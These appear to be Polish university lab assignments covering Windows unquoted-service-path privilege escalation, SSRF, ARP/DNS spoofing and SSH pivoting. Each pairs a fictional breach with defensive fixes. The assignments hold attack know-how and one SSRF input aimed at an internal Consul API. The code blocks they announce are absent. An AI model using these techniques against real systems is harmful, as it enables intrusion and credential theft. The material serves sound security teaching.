Celem zadania jest zbadanie podatności konfiguracyjnych systemu operacyjnego Microsoft Windows oraz środowiska Active Directory umożliwiających lokalną eskalację uprawnień z poziomu konta standardowego użytkownika domenowego do poziomu NT AUTHORITY\SYSTEM. Studenci analizują klasyczne i współczesne wektory podatności: niescytowane ścieżki usług systemowych (Unquoted Service Paths), podatne uprawnienia do plików binarnych usług (Weak Service Permissions / DLL Hijacking), niebezpieczne ustawienia instalatora Windows (AlwaysInstallElevated) oraz niezaszyfrowane hasła zapisane w rejestrze lub plikach nienadzorowanej instalacji (Unattended Install Files).
W ramach laboratorium studenci przeprowadzają zautomatyzowany audyt za pomocą narzędzia WinPEAS, weryfikują konfigurację rejestru poleceniami PowerShell oraz wdrażają procedury naprawcze eliminujące luki w usługach firm trzecich zgodnie z wytycznymi bezpieczeństwa Microsoft i CIS Benchmark for Windows.
W Korporacji Ubezpieczeniowej Vistula Assurance wdrożono na 400 stacjach roboczych pracowników call-center oprogramowanie zewnętrzne do nagrywania rozmów i monitorowania ekranu dostarczone przez firmę trzecią. Instalator oprogramowania zarejestrował w systemie usługę Windows o nazwie 'AudioCaptureSvc', która uruchamia się automatycznie z uprawnieniami konta NT AUTHORITY\SYSTEM.
Podczas instalacji oprogramowania popełniono podręcznikowy błąd konfiguracyjny: ścieżka do pliku wykonywalnego zawierała spacje i nie została ujęta w cudzysłowy (C:\Program Files\Audio Recorder Pro\capture.exe), a katalog C:\Program Files\Audio Recorder Pro posiadał uprawnienia zapisu dla wbudowanej grupy 'Users' (Full Control / Write).
Pracownik działu obsługi klienta o najniższych uprawnieniach zdołał umieścić w katalogu C:\Program Files plik wykonywalny o nazwie 'Audio.exe'. Podczas restartu komputera system Windows, parsując niescytowaną ścieżkę, w pierwszej kolejności uruchomił złośliwy program Audio.exe z uprawnieniami NT AUTHORITY\SYSTEM zamiast właściwego pliku capture.exe. Złośliwy kod utworzył ukryte konto administratora lokalnego i umożliwił zrzucenie poświadczeń z procesu LSASS.
Incydent został wykryty przez system EDR po fakcie, co wywołało natychmiastową kontrolę stanu zabezpieczeń wszystkich 400 komputerów w domenie.
Grupa laboratoryjna musi zasymulować podatne środowisko Windows, przeprowadzić audyt zautomatyzowany za pomocą narzędzia WinPEAS / skryptu PowerShell, zademonstrować mechanizm eskalacji Unquoted Service Path oraz wdrożyć bezpieczną konfigurację usług za pomocą polecenia sc config i zasad GPO.
Podatność Unquoted Service Path wynika ze sposobu, w jaki funkcja WinAPI CreateProcess interpretuje ścieżki bez cudzysłowów zawierające spacje. Jeśli ścieżka to C:\Program Files\Audio Recorder Pro\capture.exe, system Windows próbuje kolejno uruchomić: 1) C:\Program.exe, 2) C:\Program Files\Audio.exe, 3) C:\Program Files\Audio Recorder.exe, i dopiero na końcu właściwy plik. Jeśli użytkownik ma uprawnienia zapisu w którymkolwiek z tych folderów, może przejąć kontrolę nad systemem.
Poniżej przedstawiono polecenie PowerShell wyszukujące wszystkie usługi z niescytowanymi ścieżkami oraz ich naprawę:
Weryfikacja uprawnień do katalogu aplikacji za pomocą narzędzia AccessChk z pakietu Sysinternals:
Naprawa podatności poprzez dodanie cudzysłowów w konfiguracji usługi oraz zablokowanie uprawnień zapisu:
Przykładowe wnioski (wzór do sprawozdania): Badanie bezpieczeństwa infrastruktury Windows Active Directory wykazało obecność konta usługowego z zarejestrowanym rekordem SPN i słabym hasłem, co umożliwiło przeprowadzenie ataku Kerberoasting i odzyskanie poświadczeń administratora bazy danych w trybie offline. Wykrycie usługi systemowej o niecytowanej ścieżce (Unquoted Service Path) w katalogu z prawami zapisu dla zwykłych użytkowników potwierdziło obecność lokalnego wektora eskalacji do uprawnień NT AUTHORITY\SYSTEM. Zastosowanie narzędzia BloodHound pozwoliło na graficzne zobrazowanie ukrytych relacji zaufania i ujawniło, że pozornie niegroźne uprawnienie GenericAll do grupy pomocniczej pozwalało na przejęcie konta Domain Admin. Wdrożenie kont zarządzanych przez grupę (gMSA) z automatyczną rotacją 128-znakowych haseł całkowicie wyeliminowało ryzyko ataków na bilety serwisowe Kerberos. Aktywacja mechanizmu Windows Defender Credential Guard uniemożliwiła ekstrakcję biletów i skrótów NTLM z pamięci procesu LSASS, drastycznie podnosząc cyberodporność domeny.
Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon2 Warunki zapewnienia poufności i integralności informacji. Podatności komunikacji międzyserwisowej.
Celem zadania jest zbadanie mechanizmów powstawania i eksploatacji podatności Server-Side Request Forgery (SSRF) w nowoczesnych aplikacjach webowych opartych na architekturze mikroserwisowej oraz wdrożenie wielowarstwowych zabezpieczeń sieciowych i aplikacyjnych. Studenci badają, w jaki sposób podatna aplikacja webowa może zostać zmuszona przez napastnika do wysyłania nieautoryzowanych żądań HTTP wewnątrz prywatnej sieci korporacyjnej (Intranet) lub do instancji chmurowych (odpytywanie interfejsów Cloud Metadata Service, np. 169.254.169.254 w AWS/GCP/Azure).
W części naprawczej zadanie wymaga zaimplementowania rygorystycznej walidacji adresów URL (Strict URL Whitelisting), blokowania prywatnych zakresów adresowych (RFC 1918, adresy pętli zwrotnej 127.0.0.1, adresy link-local 169.254.0.0/16) z uwzględnieniem technik omijania filtrów (DNS Rebinding, parsowanie alternatywnych formatów IP) oraz konfiguracji reguł zapory ogniowej iptables/nftables blokujących ruch wychodzący z serwera aplikacji do stref wrażliwych.
Platforma analityczna FinStat Polska Sp. z o.o. udostępnia instytucjom finansowym narzędzie do generowania raportów giełdowych. Jedną z funkcji panelu jest moduł 'Importuj wykres ze źródła zewnętrznego', w którym użytkownik może podać adres URL wykresu (np. https://gpw.pl/wykres.png), a serwer pobiera plik graficzny, konwertuje go do formatu PDF i dołącza do raportu.
W module pobierania zastosowano prostą bibliotekę cURL bez żadnej weryfikacji docelowego adresu IP. Podczas audytu bezpieczeństwa testerzy wprowadzili w polu adresu URL wartość: http://127.0.0.1:8500/v1/agent/members. Serwer aplikacji odpytał wewnętrzny interfejs systemu HashiCorp Consul (działający na localhost i dostępny bez uwierzytelnienia) i zwrócił w treści generowanego dokumentu pełną listę serwerów klastra, klucze API oraz tokeny dostępowe do baz produkcyjnych.
Kolejne zapytanie skierowane na adres http://192.168.50.1:80/ unieważniło konfigurację routera brzegowego w sieci wewnętrznej, do której dostęp ze świata zewnętrznego był całkowicie zablokowany zaporą ogniową. Podatność SSRF przekształciła serwer aplikacyjny w swoisty serwer proxy dla napastnika, pozwalając mu na swobodne skanowanie i atakowanie wewnętrznych zasobów infrastruktury korporacyjnej.
Zarząd FinStat nakazał natychmiastowe zablokowanie możliwości odpytywania jakichkolwiek zasobów wewnętrznych przez moduł importu oraz wdrożenie mechanizmów zapobiegających ominięciu filtrów za pomocą techniki DNS Rebinding.
Zadaniem grupy laboratoryjnej jest zbadanie podatności SSRF, opracowanie bezpiecznego modułu walidacji adresów URL w języku programowania (weryfikacja po rozwiązaniu nazwy DNS, sprawdzanie czy adres IP nie należy do puli prywatnej/zastrzeżonej) oraz skonfigurowanie reguł zapory ogniowej nftables uniemożliwiających procesowi serwera www inicjowanie połączeń do sieci LAN i metadanych chmurowych.
Powszechnym błędem programistów jest walidacja adresu URL przed jego pobraniem, a następnie przekazanie oryginalnego adresu URL do funkcji pobierającej biblioteki HTTP. Otwiera to drogę do ataku DNS Rebinding: pierwsze zapytanie DNS zwraca publiczny adres IP (walidacja przechodzi), a ułamek sekundy później biblioteka cURL wykonuje drugie zapytanie DNS, które zwraca adres 127.0.0.1. Prawidłowa ochrona wymaga nawiązania połączenia bezpośrednio pod zweryfikowany adres IP.
Poniżej przedstawiono bezpieczną procedurę walidacji adresu IP w języku Python uniemożliwiającą ataki SSRF i DNS Rebinding:
Blokowanie połączeń do sieci wewnętrznej dla procesu serwera www (użytkownik www-data) za pomocą reguł nftables w Linux:
Próba wywołania ataku SSRF po wdrożeniu ochrony kończy się natychmiastowym zablokowaniem połączenia:
Przykładowe wnioski (wzór do sprawozdania): W toku audytu modułu generowania podglądu stron internetowych zidentyfikowano podatność Server-Side Request Forgery (SSRF), która pozwalała na wysyłanie spreparowanych żądań HTTP do wewnętrznych zasobów firmy niedostępnych z sieci publicznej. Wykazano, że próba zablokowania adresu 127.0.0.1 za pomocą prostej czarnej listy była całkowicie nieskuteczna wobec technik zaciemniania adresacji IP (zapis dziesiętny Dword oraz domeny przekierowujące DNS Rebinding). W środowisku chmurowym luka ta umożliwiła pobranie tymczasowych poświadczeń ról IAM z usługi metadanych instancji (IMDSv1), co w warunkach rzeczywistych doprowadziłoby do całkowitego przejęcia infrastruktury w chmurze. Mitygacja problemu wymagała wdrożenia protokołu IMDSv2 ze sztywnym tokenem sesyjnym oraz zastosowania rygorystycznej białej listy wyłącznie zaufanych domen zewnętrznych na poziomie walidatora URL. Odcięcie ruchu wychodzącego z serwera aplikacji do prywatnych podsieci LAN za pomocą zapory sieciowej ostatecznie uniemożliwiło wykorzystanie serwera jako skanera wewnętrznej sieci korporacyjnej.
Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon4 Bezpieczeństwo protokołów komunikacyjnych i sieci komputerowych. Ataki na warstwę łącza danych.
Celem zadania jest zbadanie podatności warstwy łącza danych (Data Link Layer - Layer 2) na ataki podsłuchu i modyfikacji ruchu w sieci lokalnej (Man-in-the-Middle - MitM) oraz zaprojektowanie i wdrożenie sprzętowych mechanizmów obronnych na przełącznikach sieciowych. Studenci badają mechanizm zatruwania tablic adresów MAC (ARP Cache Poisoning / ARP Spoofing), fałszowania odpowiedzi serwerów nazw (DNS Spoofing) oraz technikę degradacji bezpiecznych połączeń HTTPS do nieszyfrowanego HTTP (SSL/TLS Stripping) przy użyciu narzędzia Bettercap.
W części defensywnej zadanie koncentruje się na konfiguracji zaawansowanych mechanizmów bezpieczeństwa przełączników (Switch Security Features): funkcji DHCP Snooping budującej zaufaną bazę powiązań (DHCP Binding Database), mechanizmu Dynamic ARP Inspection (DAI) odrzucającego sfałszowane pakiety ARP oraz ochrony przed fałszywymi serwerami nazw. Studenci uczą się weryfikować szczelność ochrony za pomocą analizatora Wireshark.
W oddziale regionalnym banku komercyjnego w Radomiu funkcjonuje sieć przewodowa łącząca stacje robocze doradców klienta, bankomaty oraz drukarki sieciowe. Przełączniki zarządzalne pracowały z ustawieniami domyślnymi bez aktywnych mechanizmów ochrony warstwy 2. Pracownik firmy sprzątającej, będący w zmowie z grupą cyberprzestępczą, podłączył do wolnego gniazdka sieciowego w sali obsługi miniaturowy mikrokomputer Raspberry Pi z zainstalowanym systemem Kali Linux.
Urządzenie natychmiast rozpoczęło rozsyłanie fałszywych pakietów ARP Reply (atak ARP Poisoning), informując wszystkie komputery w oddziale, że adres IP domyślnej bramy sieciowej (routera bankowego) znajduje się pod adresem MAC urządzenia napastnika. W efekcie cały ruch wychodzący ze stacji bankowych do centrali zaczął przepływać przez Raspberry Pi.
Napastnicy uruchomili narzędzie Bettercap z modułem sslstrip i dns.spoof. Podczas próby logowania doradców do wewnętrznych systemów bankowych ruch był potajemnie analizowany, a sfałszowane odpowiedzi DNS przekierowywały zapytania do podrobionych paneli logowania. Przestępcy uzyskali dostęp do dziesiątek poświadczeń pracowników i danych finansowych klientów, zanim administratorzy centrali zorientowali się o anomaliach w ruchu sieciowym.
Wydział Bezpieczeństwa Teleinformatycznego banku zlecił audytorom (grupie laboratoryjnej) odtworzenie całego scenariusza ataku w odizolowanym laboratorium, udokumentowanie podatności protokołu ARP oraz wdrożenie twardych mechanizmów obronnych na przełącznikach sieciowych (RouterOS / Cisco).
Zadaniem studentów jest zaimplementowanie ochrony DHCP Snooping, Dynamic ARP Inspection (DAI) oraz Port Security, a następnie udowodnienie, że po wdrożeniu tych mechanizmów atak ARP Spoofing zostaje natychmiast wykryty i zablokowany na poziomie portu przełącznika.
Protokół ARP (Address Resolution Protocol) jest protokołem całkowicie bezstanowym i pozbawionym jakiegokolwiek uwierzytelnienia. Komputer akceptuje pakiety ARP Reply nawet wtedy, gdy sam wcześniej nie wysyłał zapytania ARP Request (tzw. Gratuitous ARP). Umożliwia to każdemu urządzeniu w podsieci podszycie się pod dowolny adres IP. Jedyną skuteczną obroną jest sprzętowa weryfikacja pakietów ARP na poziomie przełącznika (Dynamic ARP Inspection).
Poniżej przedstawiono przykładowe polecenia uruchomienia ataku ARP i DNS Spoofing w konsoli interaktywnej Bettercap:
Widok zatrutej tablicy ARP na stacji roboczej ofiary (Windows 11):
Konfiguracja mechanizmu Dynamic ARP Inspection i DHCP Snooping na przełączniku RouterOS / Linux bridge:
Przykładowe wnioski (wzór do sprawozdania): Symulacja ataku ARP Poisoning w sieci lokalnej unaoczniła skrajną podatność protokołu ARP na bezkrytyczne przyjmowanie fałszywych pakietów odpowiedzi (Gratuitous ARP), co umożliwiło błyskawiczne przekierowanie całego ruchu ofiary przez stację audytora. Wykorzystanie techniki SSL Stripping w połączeniu z fałszowaniem zapytań DNS zobrazowało łatwość przechwytywania danych logowania w serwisach, które nie wymuszają rygorystycznej polityki HSTS. Zaimplementowanie funkcji DHCP Snooping na przełącznikach zarządzalnych stworzyło zaufaną bazę powiązań adresów IP z fizycznymi portami, stanowiąc fundament dla ochrony sieci LAN. Włączenie mechanizmu Dynamic ARP Inspection (DAI) doprowadziło do natychmiastowego zrzucania nieautoryzowanych pakietów ARP, całkowicie neutralizując próbę zatrucia pamięci podręcznej stacji roboczych. Przeprowadzone ćwiczenie udowodniło, że bezpieczeństwo kryptograficzne wyższych warstw modelu OSI może zostać skutecznie skompromitowane, jeżeli administrator zaniedba elementarne mechanizmy ochronne na poziomie warstwy łącza danych.
Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon4 Bezpieczeństwo protokołów komunikacyjnych i sieci komputerowych. Architektura strefowa i pivoting.
Celem zadania jest zbadanie zaawansowanej techniki przeskoku sieciowego (Pivoting / Lateral Movement) w infrastrukturze wielostrefowej, w której atakujący wykorzystuje przejęty serwer w strefie DMZ jako punkt pośredniczący do penetracji odizolowanych podsieci wewnętrznych (np. strefy baz danych, sieci produkcyjnej OT). Studenci poznają zasady zestawiania tuneli kryptograficznych SSH (Dynamic Port Forwarding, Local Port Forwarding, Remote/Reverse Port Forwarding) oraz konfiguracji proxy SOCKS4/SOCKS5 w połączeniu z narzędziem Proxychains.
W ramach laboratorium studenci przeprowadzają symulację ataku wieloetapowego: skanowanie odizolowanej sieci przez tunel SSH, identyfikację podatności wewnątrz strefy chronionej oraz wyznaczenie formalnego wektora podatności i oceny ryzyka zgodnie z kalkulatorem CVSS v3.1/v4.0. W części obronnej wdrażają reguły zapory sieciowej, segmentację jądra oraz utwardzanie konfiguracji SSH (wyłączenie tunelowania, AllowTcpForwarding no).
W firmie farmaceutycznej BioMed Polska Sp. z o.o. zastosowano architekturę trójstrefową: 1) Strefa publiczna DMZ (serwer portalu pacjenta), 2) Strefa aplikacji (serwery biznesowe), 3) Odizolowana strefa baz danych i receptur leków (Data Vault). Zgodnie z założeniami projektantów, strefa baz danych nie posiadała bezpośredniego połączenia z Internetem, a dostęp do niej był dozwolony wyłącznie z wybranych hostów pośredniczących w DMZ.
W wyniku ataku na aplikację webową (luka RCE w starym systemie CMS) napastnicy uzyskali dostęp do powłoki o niskich uprawnieniach na serwerze webowym w strefie DMZ. Choć serwer baz danych znajdował się w innej, prywatnej podsieci (10.50.0.0/24), serwer DMZ posiadał dwie karty sieciowe (dual-homed) i mógł komunikować się z bazą danych na porcie 5432.
Napastnicy wykorzystali wbudowanego klienta SSH na serwerze DMZ, zestawiając odwrotny tunel SSH (Reverse Dynamic SOCKS Proxy) do swojego zewnętrznego serwera C2. Umożliwiło to zespołowi atakującemu przekierowanie całego ruchu swoich narzędzi audytorskich (Nmap, Metasploit, psql) bezpośrednio z systemu Kali Linux do wnętrza 'odizolowanej' strefy bazodanowej, całkowicie omijając brzegową zaporę sieciową.
W rezultacie doszło do eksfiltracji receptur leków eksperymentalnych. Audyt powłamaniowy wykazał, że administratorzy zlekceważyli kwestię bezpieczeństwa komunikacji międzystrefowej i pozostawili domyślną konfigurację demona SSH na serwerze DMZ (aktywne przekazywanie portów TCP).
Zespół laboratoryjny wciela się w rolę audytorów. Zadaniem grupy jest odtworzenie architektury wielostrefowej, przeprowadzenie przeskoku sieciowego z użyciem tunelowania SSH i proxychains, skalkulowanie ryzyka CVSS dla podatności umożliwiającej pivot, a następnie wdrożenie twardych reguł zapory i utwardzenie demona SSH (blokada tunelowania TCP).
Przeskok sieciowy (Pivoting) jest jedną z najgroźniejszych technik stosowanych przez zaawansowane grupy APT (Advanced Persistent Threats). Pozwala ominąć zapory brzegowe i spenetrować najgłębsze warstwy sieci korporacyjnej. Aby skutecznie zablokować pivoting przez SSH na serwerach w strefie DMZ, należy w pliku /etc/ssh/sshd_config bezwzględnie ustawić `AllowTcpForwarding no` oraz `GatewayPorts no`.
Poniżej przedstawiono przykładowe polecenia zestawiania dynamicznego tunelu SSH SOCKS5 oraz konfiguracji proxychains:
Skanowanie odizolowanego serwera bazy danych (10.50.0.5) za pomocą Nmap przez tunel proxychains:
Utwardzenie konfiguracji serwera SSH w strefie DMZ całkowicie uniemożliwiające tunelowanie ruchu TCP:
Przykładowe wnioski (wzór do sprawozdania): Praktyczna realizacja przeskoku sieciowego (Pivoting) za pomocą tunelowania dynamicznego SSH (-D) zobrazowała, jak pojedyncza skompromitowana stacja robocza posiadająca dwa interfejsy sieciowe może posłużyć intruzowi jako brama do całkowicie odizolowanych segmentów firmy. Zastosowanie narzędzia proxychains pozwoliło na bezproblemowe skierowanie ruchu skanerów sieciowych i narzędzi audytorskich przez tunel SOCKS wprost do chronionej podsieci bazodanowej. Wykazano, że tradycyjne zapory sieciowe filtrujące wyłącznie adresy IP okazują się bezsilne wobec hermetyzacji nieautoryzowanego ruchu wewnątrz w pełni legalnego, szyfrowanego połączenia SSH na porcie 22. Wdrożenie restrykcyjnej polityki na serwerach bastionowych poprzez wyłączenie dyrektyw 'AllowTcpForwarding' oraz 'GatewayPorts' skutecznie zablokowało możliwość tworzenia nieautoryzowanych mostów sieciowych. Ćwiczenie to potwierdza kluczowe założenie architektury Zero Trust, w myśl którego przełamanie perymetru zewnętrznego nie może automatycznie gwarantować zaufania w komunikacji z wewnętrznymi zasobami organizacji.